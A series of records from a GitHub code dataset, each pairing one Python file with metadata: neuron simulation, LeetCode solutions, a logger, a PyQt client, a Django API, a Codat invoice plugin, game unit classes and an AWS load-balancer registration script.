[h.Vector() for x in xrange(3)] # record the m,h,n gating variables\nvm.record(soma(0.5).hh._ref_m)\nvh.record(soma(0.5).hh._ref_h)\nvn.record(soma(0.5).hh._ref_n)\n\nic = h.IClamp(0.5,soma) # make a current clamp, with a depolarizing current inj.\nic.amp = 0.05 # amplitude of current injected (nA)\nic.dur = 10 # duration of current clamp (ms)\nic.delay = 10 # delay until current clamp is turned on (ms)\n\nh.run() # run the simulation\n\nsubplot(1,2,1);\n\nplot(array(vt),array(vvolt));\nxlabel('Time (ms)');\nylabel('Vm (mV)');\ntitle('Voltage')\nxlim((0,h.tstop))\n\nsubplot(1,2,2);\nplot(array(vt),array(vm),'r')\nplot(array(vt),array(vh),'g')\nplot(array(vt),array(vn),'b')\nxlabel('Time (ms)');\ntitle('HH state variables')\nlegend(['m','h','n'])\nxlim((0,h.tstop))\n\ntight_layout()\nshow()\n","repo_name":"prcastro/LasconVI","sub_path":"Examples/NEURON/pyneuron_examples/hhtest.py","file_name":"hhtest.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"70820270805","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\nclass Solution:\n def preorder(self, root: 'Node') -> List[int]:\n out = []\n if root == None:\n return out\n out.append(root.val)\n if root.children != None:\n for c in root.children:\n out += self.preorder(c)\n return out\n","repo_name":"allenwest24/LeetCode","sub_path":"589. N-ary Tree Preorder Traversal/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"23240457407","text":"import os\nfrom time import strftime, gmtime\nfrom typing import TextIO\n\n\nclass Logs:\n def __init__(self) -> None:\n self.time_format = \"%d.%m.%Y %H-%M-%S\"\n self.logs_file = self.create_logs()\n\n def create_logs(self) -> TextIO:\n \"\"\"\n Creates new logs file, and moves old logs to folders.\n :return: Writeable file for logging.\n \"\"\"\n if \"latest.log\" in os.listdir(\"logs/\"):\n time = strftime(self.time_format, gmtime())\n os.mkdir(f\"logs/{time}\")\n os.rename(f\"logs/latest.log\", f\"logs/{time}/logs {time}.log\")\n logs_file = open(f\"logs/latest.log\", 'w', encoding=\"UTF-8\")\n return logs_file\n\n def log(self, text: str, is_error: bool = False) -> None:\n \"\"\"\n Method to save logs with current time.\n\n :param str text: Text to save in log file\n :param bool is_error: if set to True then creates ERROR instead of log.\n \"\"\"\n formatted = f\"[{'ERROR' if is_error else 'LOG'}] [{strftime(self.time_format, gmtime())}]: {text}\"\n self.logs_file.write(f\"{formatted}\\n\")\n print(formatted)\n\n\nlogs_ = Logs()\n","repo_name":"OhFoxies/klasus","sub_path":"logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"13761798481","text":"import sys\nfrom frontend import VentanaInicio, VentanaPrincipal, VentanaSala\nfrom backend import ClienteNet, ClienteProce, leer_parametros\nfrom PyQt5.QtWidgets import QApplication\n\n\nif __name__ == '__main__':\n def hook(type, value, traceback):\n print(type)\n print(traceback)\n sys.__excepthook__ = hook\n\n app = QApplication([])\n\n parametros = leer_parametros()\n\n ventana_inicio = VentanaInicio(parametros[\"paths\"][\"logo\"])\n network = ClienteNet(parametros[\"host\"], parametros[\"port\"])\n procesador = ClienteProce()\n ventana_principal = VentanaPrincipal(parametros[\"paths\"])\n ventana_sala = VentanaSala(parametros[\"paths\"])\n\n # Señales de networking\n procesador.procesador_network_signal.connect(network.send)\n network.network_procesador_signal.connect(procesador.recibir_data_network)\n\n # Manejo ingreso usuario\n ventana_inicio.usuario_interfaz_procesador.connect(procesador.enviar_usuario)\n procesador.usuario_procesador_interfaz.connect(ventana_inicio.actualizar_ventana)\n ventana_inicio.mostrar_principal_signal.connect(ventana_principal.mostrar_principal)\n\n # Manejo cierre de sesion\n ventana_principal.cierre_sesion_signal.connect(ventana_inicio.mostrar_inicio)\n ventana_principal.cierre_interfaz_procesador.connect(procesador.enviar_cierre)\n\n app.exec()\n","repo_name":"DiegoEmilio01/Advanced-Programming","sub_path":"Proyects/Homework/T03/client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"21785950281","text":"f=open(\"C:\\\\Users\\\\english\\\\Documents\\\\bplist.txt\")\r\nwordlist=f.read()\r\nwordlist=wordlist.splitlines()\r\nwordlist.sort()\r\nfor word in wordlist:\r\n if \"kdo\" in word:\r\n #if word.startswith(\"\"):\r\n \r\n #if \"\" in word and \"\" in word and \"\" in word:\r\n #if len(word) ==30:\r\n print(word)\r\n","repo_name":"english8192/githubassigment","sub_path":"bp.py","file_name":"bp.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"11058553078","text":"casosDeTeste = int(input())\n\nimpares = list()\n\npares = list()\n\nwhile casosDeTeste > 0:\n\n\tnumero = int(input())\n\n\tif numero % 2 == 0:\n\t\tpares.append(numero)\n\telse:\n\t\timpares.append(numero)\n\n\tcasosDeTeste = casosDeTeste - 1\n\npares.sort()\n\nimpares.sort(reverse=True)\n\nfor numero in pares:\n\tprint(numero)\nfor numero in impares:\n\tprint(numero)","repo_name":"gabrielsmenezes/URI-problems","sub_path":"1259.py","file_name":"1259.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29355015630","text":"from bs4 import BeautifulSoup\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n# Insert your query\nquery = 'кльтура+спорт'\n\n# Url we want to parse\nURL = 'http://www.rbc.ru/search/?query=' + query\n\n# Open page in browser\nbrowser = webdriver.Chrome()\nbrowser.get(URL)\ntime.sleep(1)\nelem = browser.find_element_by_tag_name(\"body\")\n\n# Handle infinite scroller\nno_of_pagedowns = 200\nwhile no_of_pagedowns:\n elem.send_keys(Keys.PAGE_DOWN)\n time.sleep(0.2)\n no_of_pagedowns -= 1\n\n# Get html\nhtml_source = browser.page_source\nsoup = BeautifulSoup(html_source, 'html.parser')\n\n# Get urls from html\nwith open('urls.txt', 'a') as output:\n counter = 1\n for href in soup.find_all('a'):\n classes = href.get('class')\n if classes is not None and 'search-item' in classes:\n\n output.write('{}\\n'.format(href.get('href')))\n print('Saved {} urls'.format(counter))\n counter += 1","repo_name":"SocialLabEngineering/News-analytics","sub_path":"word_freq/extract_urls.py","file_name":"extract_urls.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"43113886974","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom rest_framework import generics\nfrom django.http import JsonResponse\nfrom . import models_api\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nfrom django.contrib.auth import hashers\n# import the logging library\nimport logging\nfrom . import es_api\nfrom . import kafka_api\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\ndef index(request):\n return HttpResponse(\"Exp API\")\n\n@csrf_exempt\ndef songs_json(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_songs(page))\n if request.method == 'POST':\n data = request.body\n str_data = data.decode('utf-8')\n json_data = json.loads(str_data)\n title = json_data[\"title\"]\n artists = json_data[\"artists\"]\n owner = json_data[\"owner\"]\n song_json = models_api.add_song({\"title\": title, \"artists\": artists, \"owner\": owner})\n return JsonResponse(song_json)\n return JsonResponse({'ok':False})\n\ndef song_detail_json(request, pk):\n auth = request.GET[\"auth\"]\n\n if auth == \"True\":\n user_id = int(request.GET[\"user_id\"])\n item_id = \"SONG\"+str(pk)\n log = {\"user_id\":user_id,\"item_id\":item_id}\n kafka_api.send_to_spark_kafka(log)\n\n return JsonResponse(models_api.get_song(pk))\n\n@csrf_exempt\ndef images_json(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_images(page))\n elif request.method == 'POST':\n data = request.body\n str_data = data.decode('utf-8')\n json_data = json.loads(str_data)\n title = json_data[\"title\"]\n artists = json_data[\"artists\"]\n owner = json_data[\"owner\"]\n image_json = models_api.add_image({\"title\": title, \"artists\": artists, \"owner\": owner})\n return image_json\n return JsonResponse({'ok':False})\n\ndef image_detail_json(request, pk):\n auth = request.GET[\"auth\"]\n\n if auth == \"True\":\n user_id = int(request.GET[\"user_id\"])\n item_id = \"IMAGE\"+str(pk)\n log = {\"user_id\":user_id,\"item_id\":item_id}\n kafka_api.send_to_spark_kafka(log)\n\n return JsonResponse(models_api.get_image(pk))\n\n@csrf_exempt\ndef stories_json(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_stories(page))\n elif request.method == 'POST':\n data = request.body\n str_data = data.decode('utf-8')\n json_data = json.loads(str_data)\n title = json_data[\"title\"]\n artists = json_data[\"artists\"]\n text = json_data[\"text\"]\n owner = json_data[\"owner\"]\n story_json = models_api.add_story({\"title\": title, \"artists\": artists, \"owner\": owner, \"text\": text})\n return story_json\n return JsonResponse({'ok':False})\n\n@csrf_exempt\ndef story_detail_json(request, pk):\n auth = request.GET[\"auth\"]\n\n if auth == \"True\":\n user_id = int(request.GET[\"user_id\"])\n item_id = \"STORY\"+str(pk)\n log = {\"user_id\":user_id,\"item_id\":item_id}\n kafka_api.send_to_spark_kafka(log)\n return JsonResponse(models_api.get_story(pk))\n\n@csrf_exempt\ndef music_videos_json(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_music_videos(page))\n elif request.method == 'POST':\n data = request.body\n str_data = data.decode('utf-8')\n json_data = json.loads(str_data)\n title = json_data[\"title\"]\n artists = json_data[\"artists\"]\n owner = json_data[\"owner\"]\n image_json = models_api.add_music_video({\"title\": title, \"artists\": artists, \"owner\": owner})\n return image_json\n return JsonResponse({'ok':False})\n\ndef music_video_detail_json(request, pk):\n auth = request.GET[\"auth\"]\n\n if auth == \"True\":\n user_id = int(request.GET[\"user_id\"])\n item_id = \"MUSICVID\"+str(pk)\n log = {\"user_id\":user_id,\"item_id\":item_id}\n kafka_api.send_to_spark_kafka(log)\n\n return JsonResponse(models_api.get_music_video(pk))\n\n@csrf_exempt\ndef poems_json(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_poems(page))\n elif request.method == 'POST':\n data = request.body\n str_data = data.decode('utf-8')\n json_data = json.loads(str_data)\n title = json_data[\"title\"]\n artists = json_data[\"artists\"]\n text = json_data[\"text\"]\n owner = json_data[\"owner\"]\n image_json = models_api.add_poem({\"title\": title, \"artists\": artists, \"owner\": owner, \"text\": text})\n return image_json\n return JsonResponse({'ok':False})\n\ndef poem_detail_json(request, pk):\n auth = request.GET[\"auth\"]\n\n if auth == \"True\":\n user_id = int(request.GET[\"user_id\"])\n item_id = \"POEM\"+str(pk)\n log = {\"user_id\":user_id,\"item_id\":item_id}\n kafka_api.send_to_spark_kafka(log)\n\n return JsonResponse(models_api.get_poem(pk))\n\n@csrf_exempt\ndef create_user(request):\n if request.method == 'GET':\n page = request.GET.get('page', 1)\n return JsonResponse(models_api.get_users(page))\n elif request.method == 'POST':\n data = request.body\n str = data.decode('utf-8')\n json_data = json.loads(str)\n last_name = json_data[\"last_name\"]\n first_name = json_data[\"first_name\"]\n username = json_data[\"username\"]\n password = json_data[\"password\"]\n hashed_pw = hashers.make_password(password)\n db_user = models_api.get_user_by_username(username)\n if db_user[\"results\"]:\n return JsonResponse({'user_in_db':True})\n create_user_response = models_api.create_user({\"first_name\": first_name, \"last_name\": last_name, \"username\": username, \"password\": hashed_pw})\n return create_user_response\n\ndef user_detail_json(request, pk):\n return JsonResponse(models_api.get_user(pk))\n\n@csrf_exempt\ndef login(request):\n if request.method == 'POST':\n post_dict = request.POST.dict()\n if models_api.verify_login(post_dict):\n create_auth_resp = models_api.create_auth(post_dict[\"username\"])\n create_auth_resp['status_code'] = 201\n return JsonResponse(create_auth_resp)\n resp = {'ok':False}\n return JsonResponse(resp)\n\n@csrf_exempt\ndef logout(request):\n post_dict = request.POST.dict()\n return JsonResponse(models_api.delete_auth(post_dict['auth']))\n\n@csrf_exempt\ndef search(request):\n if request.method == 'POST':\n post_dict = request.POST.dict()\n query = post_dict[\"query\"]\n typename = post_dict[\"type\"]\n elastic_results = es_api.query(query, typename)\n return JsonResponse(elastic_results)\n return JsonResponse({'ok':False})\n\ndef get_recommendations_for_song(request, pk):\n return JsonResponse({\"recommendations\":models_api.get_recommendations(\"SONG\"+str(pk))})\n\ndef get_recommendations_for_poem(request, pk):\n return JsonResponse({\"recommendations\":models_api.get_recommendations(\"POEM\"+str(pk))})\n\ndef get_recommendations_for_music_video(request, pk):\n return JsonResponse({\"recommendations\":models_api.get_recommendations(\"MUSICVID\"+str(pk))})\n\ndef get_recommendations_for_story(request, pk):\n return JsonResponse({\"recommendations\":models_api.get_recommendations(\"STORY\"+str(pk))})\n\ndef get_recommendations_for_image(request, pk):\n return JsonResponse({\"recommendations\":models_api.get_recommendations(\"IMAGE\"+str(pk))})\n\n#\n# @csrf_exempt\n# def login(request):\n# if request.method == 'POST':\n# data = request.body #grabs data from inputs in forms\n# str = data.decode('utf-8') #decodes bytes to strings\n# convert_to_json = json.loads(str) #convert string to json\n# username = convert_to_json['username']\n# password = convert_to_json['password']\n# userinfo = models_api.get_user_by_username(username)\n# # userjson = userinfo[\"results\"][0][\"username\"]\n# if userinfo[\"count\"] == 0:\n# return HttpResponse(\"NOPE\")\n# if userinfo[\"results\"][0][\"username\"] == username and userinfo[\"results\"][0][\"password\"] == password:\n# return HttpResponse(\"IT WORKS!!!\")\n# auth = models_api.create_auth(user_data[\"username\"])\n# return HttpResponse(\"Password or username is incorrect\")\n# # return HttpResponse(json.dumps(user_data))\n# # else:\n# # return HttpResponse(user_data)\n\n# @csrf_exempt\n# def create_song(request):\n# data = request.body\n# str_data = data.decode('utf-8')\n# json_data = json.loads(str_data)\n# title = json_data[\"title\"]\n# artists = json_data[\"artists\"]\n# owner = json_data[\"owner\"]\n# song_json = models_api.add_song({\"title\": title, \"artists\": artists, \"owner\": owner})\n# return song_json\n\n# @csrf_exempt\n# def create_image(request):\n# data = request.body\n# str_data = data.decode('utf-8')\n# json_data = json.loads(str_data)\n# title = json_data[\"title\"]\n# artists = json_data[\"artists\"]\n# owner = json_data[\"owner\"]\n# image_json = models_api.add_image({\"title\": title, \"artists\": artists, \"owner\": owner})\n# return image_json\n\n# @csrf_exempt\n# def create_poem(request):\n# data = request.body\n# str_data = data.decode('utf-8')\n# json_data = json.loads(str_data)\n# title = json_data[\"title\"]\n# artists = json_data[\"artists\"]\n# text = json_data[\"text\"]\n# owner = json_data[\"owner\"]\n# image_json = models_api.add_poem({\"title\": title, \"artists\": artists, \"owner\": owner, \"text\": text})\n# return image_json\n","repo_name":"EtonMon/cs4501","sub_path":"app/exp/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"10823484741","text":"#!/usr/bin/env python\n# coding=utf8\n\"\"\"\n====================================\n :mod:`argoslabs.codat.invoice`\n====================================\n.. moduleauthor:: Irene Cho \n.. note:: ARGOS-LABS License\n\nDescription\n===========\nARGOS LABS Splitting and Merging PDF plugin\n\"\"\"\n# Authors\n# ===========\n#\n# * Irene Cho\n#\n# --------\n#\n# * [2021/03/27]\n# - 그룹에 \"3-Cloud Solutions\" 넣음\n# * [2021/01/25]\n# - starting\n\n################################################################################\nimport os\nimport sys\nimport json\nimport requests\nfrom io import StringIO\nfrom alabs.common.util.vvargs import ModuleContext, func_log, \\\n ArgsError, ArgsExit, get_icon_path\nimport warnings\n\nwarnings.simplefilter(\"ignore\", ResourceWarning)\n\n\n################################################################################\n@func_log\ndef codat(mcxt, argspec):\n mcxt.logger.info('>>>starting...')\n try:\n headers = {\n 'accept': 'application/json',\n 'Content-Type': 'application/json',\n 'Authorization': 'Basic ' + argspec.api_key,\n }\n if argspec.op == 'Get Customer ID':\n url = argspec.endpoint + '/companies/' + argspec.company_id + '/data/customers'\n res = requests.get(url, headers=headers)\n if res.status_code // 10 != 20:\n print(f'Error of API:{res.text}')\n else:\n with StringIO() as outst:\n outst.write('name,id')\n for i in res.json()['customers']:\n try:\n i, c = i[\"customerName\"], i['id']\n outst.write('\\n')\n outst.write(i + ',' + c)\n except:\n pass\n print(outst.getvalue(), end='')\n\n # if argspec.op == 'Create Customer Account':\n # url = argspec.endpoint + '/companies/' + argspec.company_id + \\\n # '/connections/' + argspec.connection_id + '/push/customers'\n # dt = {'\"customerName\"': \"Argos-labs\"}\n # res = requests.post(url, headers=headers, data =json.dumps(dt))\n # if res.status_code // 10 != 20:\n # print(f'Error of API:{res.text}')\n # else:\n # print(res.json()['data']['id'])\n\n if argspec.op == 'Get Connection ID':\n url = argspec.endpoint + '/companies/' + argspec.company_id + '/connections'\n res = requests.get(url, headers=headers)\n if res.status_code // 10 != 20:\n print(f'Error of API:{res.text}')\n else:\n print(res.json()[0]['id'], end='')\n\n if argspec.op == 'Create Invoice':\n if argspec.invoice_json:\n with open(argspec.invoice_json) as dt:\n dt = json.load(dt)\n else:\n dt = {'customerRef': {'id': argspec.customer_id},\n # \"issueDate\": argspec.issueDate,\n # \"dueDate\": argspec.dueDate,\n }\n url = argspec.endpoint + '/companies/' + argspec.company_id + '/connections/' + argspec.connection_id + '/push/invoices'\n res = requests.post(url, headers=headers, data=json.dumps(dt))\n if res.status_code // 10 != 20:\n print(f'Error of API:{res.json()}')\n else:\n print(res.json()['data']['id'], end='')\n\n if argspec.op == 'Retrieve Invoice':\n if argspec.invoice_id:\n for i in argspec.invoice_id:\n url = argspec.endpoint + '/companies/' + argspec.company_id + \\\n '/data/invoices/' + i\n res = requests.get(url, headers=headers)\n if res.status_code // 10 != 20:\n print(f'Error of API:{res.text}')\n else:\n if not argspec.outputfile:\n fn = i[0:5] + '-invoice.json'\n argspec.outputfile = os.path.join(os.getcwd(), fn)\n with open(argspec.outputfile, 'w') as f:\n json.dump(res.json(), f, indent=4)\n if len(argspec.invoice_id) != 1:\n print(os.path.abspath(os.path.dirname(argspec.outputfile)),\n end='')\n else:\n print(os.path.abspath(argspec.outputfile), end='')\n else:\n url = argspec.endpoint + '/companies/' + argspec.company_id + \\\n '/data/invoices/'\n res = requests.get(url, headers=headers)\n if res.status_code // 10 != 20:\n print(f'Error of API:{res.text}')\n else:\n if not argspec.outputfile:\n fn = argspec.company_id[0:5] + '-invoices' + '.json'\n argspec.outputfile = os.path.join(os.getcwd(), fn)\n with open(argspec.outputfile, 'w') as f:\n json.dump(res.json(), f, indent=4)\n print(os.path.abspath(argspec.outputfile), end='')\n return 0\n except Exception as err:\n msg = str(err)\n mcxt.logger.error(msg)\n sys.stderr.write('%s%s' % (msg, os.linesep))\n return 1\n finally:\n sys.stdout.flush()\n mcxt.logger.info('>>>end...')\n\n\n################################################################################\ndef _main(*args):\n with ModuleContext(\n owner='ARGOS-LABS',\n group='3', # Cloud Solutions\n version='1.0',\n platform=['windows', 'darwin', 'linux'],\n output_type='csv',\n display_name='Codat API',\n icon_path=get_icon_path(__file__),\n description='Create or retrieve invoices at Codat',\n ) as mcxt:\n # ##################################### for app dependent parameters\n mcxt.add_argument('op',\n display_name='Operation Type',\n choices=['Get Customer ID', 'Get Connection ID',\n 'Create Invoice', 'Retrieve Invoice'],\n help='Choose the type of operations')\n # ----------------------------------------------------------------------\n mcxt.add_argument('endpoint', display_name='Endpoint',\n help='Endpoint')\n # ----------------------------------------------------------------------\n mcxt.add_argument('api_key', display_name='API Key',\n help='Api key in Codat')\n # ----------------------------------------------------------------------\n mcxt.add_argument('company_id', display_name='Company Id',\n help='Company')\n # ##################################### for app optional parameters\n mcxt.add_argument('--connection_id', display_name='Connection Id',\n help='Connection id', show_default=True)\n # ----------------------------------------------------------------------\n mcxt.add_argument('--invoice_id', display_name='Invoice Id',\n help='Invoice id', show_default=True, action='append')\n # ----------------------------------------------------------------------\n mcxt.add_argument('--invoice_json', display_name='Invoice Datafile',\n help='A json file which includes the information of the invoice',\n input_method='fileread')\n # ----------------------------------------------------------------------\n mcxt.add_argument('--customer_id', display_name='Customer ID',\n help='the customer ID that the invoice has been issued to')\n # ----------------------------------------------------------------------\n mcxt.add_argument('--outputfile', display_name='Output',\n input_method='filewrite',\n help='An absolute output file path')\n argspec = mcxt.parse_args(args)\n return codat(mcxt, argspec)\n\n\n################################################################################\ndef main(*args):\n try:\n return _main(*args)\n except ArgsError as err:\n sys.stderr.write('Error: %s\\nPlease -h to print help\\n' % str(err))\n except ArgsExit as _:\n pass\n","repo_name":"sato3238/plugins","sub_path":"argoslabs/codat/invoice/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"3525856214","text":"# 257-Binary Tree Paths\n# https://leetcode.com/problems/binary-tree-paths/description/\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n res = []\n \n def dfs(node, sub):\n sub.append(node.val)\n if node.left is None and node.right is None:\n string = '->'.join(map(str, sub))\n\n res.append(string)\n sub = []\n return\n \n if node.left:\n dfs(node.left, sub)\n sub.pop()\n if node.right:\n dfs(node.right, sub)\n sub.pop()\n \n dfs(root, [])\n return res\n\n# Time complexity: worst case - O(N), N is numbers of nodes in tree, if tree\n# is not a balanced tree\n# Space complexity: O(n): O(h), but worst case is tree is skewed,\n# and each node has one child, so O(n)\n ","repo_name":"Training-60-Days/daily-code","sub_path":"257-Binary Tree Paths.py","file_name":"257-Binary Tree Paths.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"15747349350","text":"from pygame import draw, Color\nfrom Spells.Spells import *\n\n\nclass BaseUnit:\n def __init__(self, player, hexagon, move_per_round=200, attack_range=0):\n self.damage = 999\n self.health = 99\n self.mana = 999\n self.full_mana = 999\n self.full_health = 999\n self.cost = [0, 0, 0]\n self.player = player\n self.spells = [None for _ in range(4)]\n self.hexagon = hexagon\n self.attacked = False\n self.attack_range = attack_range\n self.moves_per_round = move_per_round\n self.moved = move_per_round\n self.color = Color(\"red\")\n\n def __str__(self):\n return self.__class__.__name__\n\n def __repr__(self):\n return self.__str__()\n\n def get_full(self):\n self.full_health = self.health\n self.full_mana = self.mana\n\n def move(self, move):\n self.moved -= move\n\n def draw(self, screen, tile, cell_size, diagonal):\n draw.rect(screen, self.color, (\n tile.center[0] - cell_size // 2,\n tile.center[1] - diagonal // 2,\n cell_size,\n diagonal))\n\n def attack(self, range_, enemy_unit):\n if not self.attacked and range_ <= self.attack_range and self.player != enemy_unit.player:\n enemy_unit.health -= self.damage\n self.moved = 0\n self.attacked = True\n self.health -= round(enemy_unit.damage / 3)\n return True, enemy_unit.health <= 0\n return False, False\n\n def update(self):\n # Проверка на активность скиллов у всех персонажей\n pass\n\n def refresh(self):\n self.moved = self.moves_per_round\n self.attacked = False\n\n def change_color(self, color):\n self.color = color\n\n def get_color(self):\n return self.color\n\n\nclass Worker(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 5, 0)\n self.health = 35\n self.damage = 0\n self.mana = 0\n self.cost = [20, 0, 0]\n self.spells[0] = Build()\n self.get_full()\n self.color = \"#89a7e2\" if not player else \"#e289b5\"\n\n def spell_1(self):\n pass\n\n\nclass Warrior(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 4, 1)\n self.health = 50\n self.mana = 0\n self.cost = [20, 10, 0]\n self.damage = 25\n self.get_full()\n self.color = \"#344570\" if not player else \"#703444\"\n\n\nclass Archer(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 5, 4)\n self.health = 10\n self.mana = 0\n self.cost = [15, 15, 0]\n self.damage = 15\n self.get_full()\n self.color = \"#B9F73E\" if not player else \"#9F3ED5\"\n\n\nclass Morphling(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 3, 4)\n self.spells[0] = Mana_regen()\n self.health = 25\n self.mana = 10\n self.cost = [15, 15, 2]\n self.damage = 15\n self.get_full()\n self.color = \"#37DA7E\" if not player else \"#FF6B40\"\n\n\nclass Wizard(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 3, 3)\n self.spells[0] = Heal()\n self.health = 40\n self.mana = 20\n self.cost = [25, 30, 5]\n self.damage = 30\n self.get_full()\n self.color = \"#22d5ba\" if not player else \"#d522a5\"\n\n\nclass Tank(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 3, 1)\n self.health = 100\n self.mana = 0\n self.cost = [10, 40, 3]\n self.damage = 20\n self.get_full()\n self.color = \"#A69F00\" if not player else \"#3F046F\"\n\n\nclass Hunter(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 5, 2)\n self.health = 20\n self.damage = 35\n self.cost = [20, 20, 30]\n self.mana = 0\n self.get_full()\n self.color = \"#002761\" if not player else \"#610017\"\n\n def attack(self, range_, enemy_unit):\n if not self.attacked and range_ <= self.attack_range and self.player != enemy_unit.player:\n enemy_unit.health -= self.damage\n self.moved = 0\n self.attacked = True\n self.health -= round(enemy_unit.damage / 3)\n if enemy_unit.health <= 0:\n self.full_health += 10\n self.damage += 5\n return True, enemy_unit.health <= 0\n return False, False\n\n\nclass Itachi(BaseUnit):\n def __init__(self, player, hexagon):\n super().__init__(player, hexagon, 3, 1)\n self.health = 20\n self.mana = 80\n self.cost = [40, 40, 40]\n self.spells[0] = Genjitsu()\n self.damage = 10\n self.get_full()\n self.color = \"#1D8C00\" if not player else \"#9F0013\"\n","repo_name":"azya0/Heroes-of-the-frozen-throne-REPO-","sub_path":"Units/Units.py","file_name":"Units.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"3220525234","text":"import boto3\nelbv2 = boto3.client('elbv2', region_name='us-east-1')\nimport subprocess\nimport requests\nimport time\nimport json\nimport sys\nimport arrow\n\nkinit_prod_tg_arn='arn:aws:elasticloadbalancing:us-east-1:935522987944:targetgroup/kinitapp-prod/4311f4679bb3c46b'\nDEREGISTER_TIMEOUT_SECS = 60\n\ndef get_checkout_connections():\n try:\n response = requests.get('http://localhost:80/internal/stats/db')\n response.raise_for_status()\n return json.loads(response.text)['stats']['checkedout']\n except Exception as e:\n print(e)\n return None\n\n\ndef get_target_group_instances(target_group_arn):\n response = elbv2.describe_target_health(\n TargetGroupArn=target_group_arn)\n d = {}\n\n #print('target group health: %s' % response)\n for item in response['TargetHealthDescriptions']:\n d[item['Target']['Id']]=item['TargetHealth']['State']\n return d\n\n\ndef register_instance(kinit_prod_tg_arn, instance_id):\n instances = get_target_group_instances(kinit_prod_tg_arn)\n\n if instance_id in instances and instances[instance_id] not in ('draining',):\n print('instance %s already in state %s. not registering' % (instance_id, instances[instance_id]))\n return True\n\n print('regisering instance %s' % instance_id)\n\n resp=elbv2.register_targets(\n TargetGroupArn=kinit_prod_tg_arn,\n Targets=[\n {\n 'Id': instance_id,\n },\n ])\n print('regisering response: %s' % resp)\n return True\n\n\ndef deregister_instance(kinit_prod_tg_arn, instance_id):\n instances = get_target_group_instances(kinit_prod_tg_arn)\n\n if instance_id not in instances:\n print('no such instance_id %s' % instance_id)\n return False\n\n if instances[instance_id] in ('unusud',):\n print('instance %s already in state %s. not de-registering' % (instance_id, instances[instance_id]))\n return True\n\n print('deregisering instance %s' % instance_id)\n\n resp = elbv2.deregister_targets(\n TargetGroupArn=kinit_prod_tg_arn,\n Targets=[\n {\n 'Id': instance_id,\n },\n ])\n print('deregisering response: %s' % resp)\n return True\n\n\ndef wait_for_registered(kinit_prod_tg_arn, instance_id):\n instances = get_target_group_instances(kinit_prod_tg_arn)\n if instances[instance_id] in ('healthy', 'unhealthy'):\n return True\n\n while True:\n if instances[instance_id] in ('initial'):\n print('current status: %s. sleeping 10 seconds' % instances[instance_id])\n time.sleep(10)\n instances = get_target_group_instances(kinit_prod_tg_arn)\n else:\n break\n return True\n\n\ndef wait_for_unreigstered(kinit_prod_tg_arn, instance_id):\n instances = get_target_group_instances(kinit_prod_tg_arn)\n if instance_id not in instances:\n print('instance %s already not in target group. aborting' % instance_id)\n return True\n\n start_time = arrow.utcnow()\n while True:\n\n now = arrow.utcnow()\n if (now-start_time).total_seconds() > DEREGISTER_TIMEOUT_SECS:\n print('timed out waiting for deregister')\n break\n\n if instance_id in instances:\n print('current status: %s. sleeping 10 seconds' % instances[instance_id])\n\n time.sleep(10)\n instances = get_target_group_instances(kinit_prod_tg_arn)\n else:\n break\n return True\n\n\n\nif __name__ == '__main__':\n import sys\n if sys.argv[1] == 'dereg':\n deregister_instance(sys.argv[2], sys.argv[3])\n wait_for_unreigstered(sys.argv[2], sys.argv[3])\n else:\n register_instance(sys.argv[2], sys.argv[3])\n wait_for_registered(sys.argv[2], sys.argv[3]) 